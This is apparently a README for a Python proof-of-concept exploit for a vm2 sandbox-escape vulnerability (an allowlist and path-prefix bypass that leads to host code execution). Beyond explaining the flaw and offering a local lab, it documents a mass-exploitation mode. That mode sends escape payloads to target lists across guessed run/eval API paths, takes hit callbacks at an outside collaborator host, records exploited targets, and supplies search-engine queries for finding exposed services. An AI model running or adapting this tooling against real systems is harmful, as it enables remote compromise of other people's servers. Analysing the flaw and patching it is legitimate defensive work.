
Python PoC for CVE-2026-100721: detects and exploits vm2 <3.12.2 NodeVM external allowlist bypass, achieving sandbox escape and host RCE via local lab or mass HTTP targets.
Python 3 PoC for CVE-2026-100721 — vm2 (npm) before 3.12.2 incorrect authorization in the NodeVM external-module resolver, leading to sandbox escape and host-side code execution when untrusted JavaScript runs inside a misconfigured embedder.
PoC page: https://pocbit.org/pocs/cve-2026-100721
vm2 is a widely used Node.js library for running untrusted JavaScript inside a sandbox within the same Node process. Applications use NodeVM with restrictions such as:
require.builtin — which core modules guest code may load (fs, child_process, …)require.external — an allowlist of npm package names (e.g. only left-pad, lodash)require.resolve — custom resolver pointing at a host-controlled plugin or dependency directorycontext: 'host' — external packages loaded via the real host require() (common for performance)Typical embedders: user-script platforms, low-code runners, plugin marketplaces, online IDEs, automation sandboxes, and internal “safe eval” microservices.
CVE-2026-100721 is incorrect authorization (CWE-863) in how vm2 decides whether a guest require("package-name") is allowed.
Two related flaws were fixed across vm2 releases (same class of bug — name / path boundary confusion):
The allowlist pre-check builds a pattern from entries like left-pad but does not enforce a full package-name boundary. Guest code can request evil-left-pad because the string contains left-pad. If that colliding package exists on a path the custom resolver can reach, vm2 loads it in the host context. Top-level module code runs before sandbox wrapping → child_process, file read, secrets, etc.
lib/resolver-compat.js, fixed in 3.12.2)When a custom resolver is used with context: 'host', vm2 records allowed directories using a prefix regular expression without a strict path separator / end boundary. A guest can later require() an absolute path to a non-allowlisted sibling (e.g. .../node_modules/foo2/index.js when only foo was allowlisted). The sibling passes isPathAllowedForModule and executes in the host process.
Affected: vm2 < 3.12.2 (CVE-2026-100721). Related name-collision fixes also landed in 3.11.7.
Fixed: Upgrade to vm2 ≥ 3.12.2 (and stay current).
| Metric | Value |
|---|---|
| CVSS 3.1 | 9.0 Critical — AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H |
| CVSS 4.0 | 9.5 Critical (Rapid7 / VulnCheck) |
| Auth | Exploit chain usually starts after low-privilege code execution inside the sandbox (PR:L in advisory) |
| Credit | Tencent Xuanwu Lab XlabAI, Atuin engine, Guannan Wang et al. |
Remote “one HTTP request RCE” is not universal. Practical chains need:
require.external allowlist + often a custom require.resolve.context: 'host' (or equivalent host loading) for externals.When these align, impact is full host Node compromise — not merely guest sandbox abuse.
| Mode | Behavior |
|---|---|
--lab | Authoritative local exploit: lab/ installs vm2 3.11.5, builds evil-left-pad, demonstrates POCBIT-100721-HOST_EXEC (mirrors vendor advisory) |
check | Remote vm2 fingerprint (package.json, lockfiles, JS bundles), version < 3.12.2, optional --probe-exec against common sandbox API paths |
exploit | Mass-capable POST of allowlist-bypass probe JS (evil-left-pad, colliding names) to configurable --exec-paths; marks exploited on marker in response or sandbox API surface + --callback-url |
| Mass bulk | --list targets.txt --mode exploit -j N → cve_2026_100721_exploit.jsonl + exploited.txt |
PoCbit JSONL fields: pocbit, pocbit_catalog, pocbit_page on every row.
CLI: green/magenta PoCbit banner, [EXPLOIT] / [SENT] / [FAIL] / [HIT] coloring (--no-color to disable).
Important: Remote exploit mode targets HTTP sandbox runners you configure. For pure library verification, use python poc.py --lab (requires Node.js + npm).
pip install -r requirements.txt
| Component | Purpose |
|---|---|
| Python 3.9+ | Scanner / mass driver |
| Node.js + npm | --lab only (recommended for understanding the CVE) |
cd CVE-2026-100721
python poc.py --lab
Expected on vulnerable vm2:
[+] require(evil-left-pad): POCBIT-100721-HOST_EXEC
[+] RESULT: VULNERABLE
python poc.py -u https://app.example.com --mode check
python poc.py -u https://app.example.com --mode check --probe-exec
python poc.py --list targets.example.txt --mode check -j 12 --probe-exec
python poc.py -u http://127.0.0.1:3000 --mode exploit \
--exec-paths /api/run,/api/eval --code-field code
python poc.py -u http://127.0.0.1:3000 --mode exploit \
--callback-url http://your-collaborator.example/cve-100721
python poc.py --list targets.txt --mode exploit \
--exec-paths /api/run,/api/sandbox/run \
--callback-url http://oast.example.com/hit -j 15
Custom guest script:
python poc.py -u http://127.0.0.1:3000 --mode exploit --payload-file my_escape.js
Outputs:
cve_2026_100721_exploit.jsonl — per-target JSONexploited.txt — targets where escape marker, callback surface, or sandbox API hit occurredThe driver probes common patterns (override with --exec-paths):
/api/run, /api/eval, /api/execute, /api/sandbox/run, /api/vm/run, /api/code/run, /run, /execute, /eval, /api/v1/run, /api/playground/run, …
JSON body fields tried: code, script, source, javascript, js, payload, … (override with --code-field).
The built-in exploit JS loops colliding package names such as evil-left-pad (allowlist bypass PoC). On a vulnerable embedder that already hosts the colliding package:
require("evil-left-pad"); // host top-level code runs → sandbox escape
The local lab/poc.js implements the full trusted-advisory scenario with external: ['left-pad'], builtin: [], and custom resolve.
require.npm ls vm2, SBOM, container scans, Shodan/FOFA for “playground” + Node stack.body="vm2"
header="Express"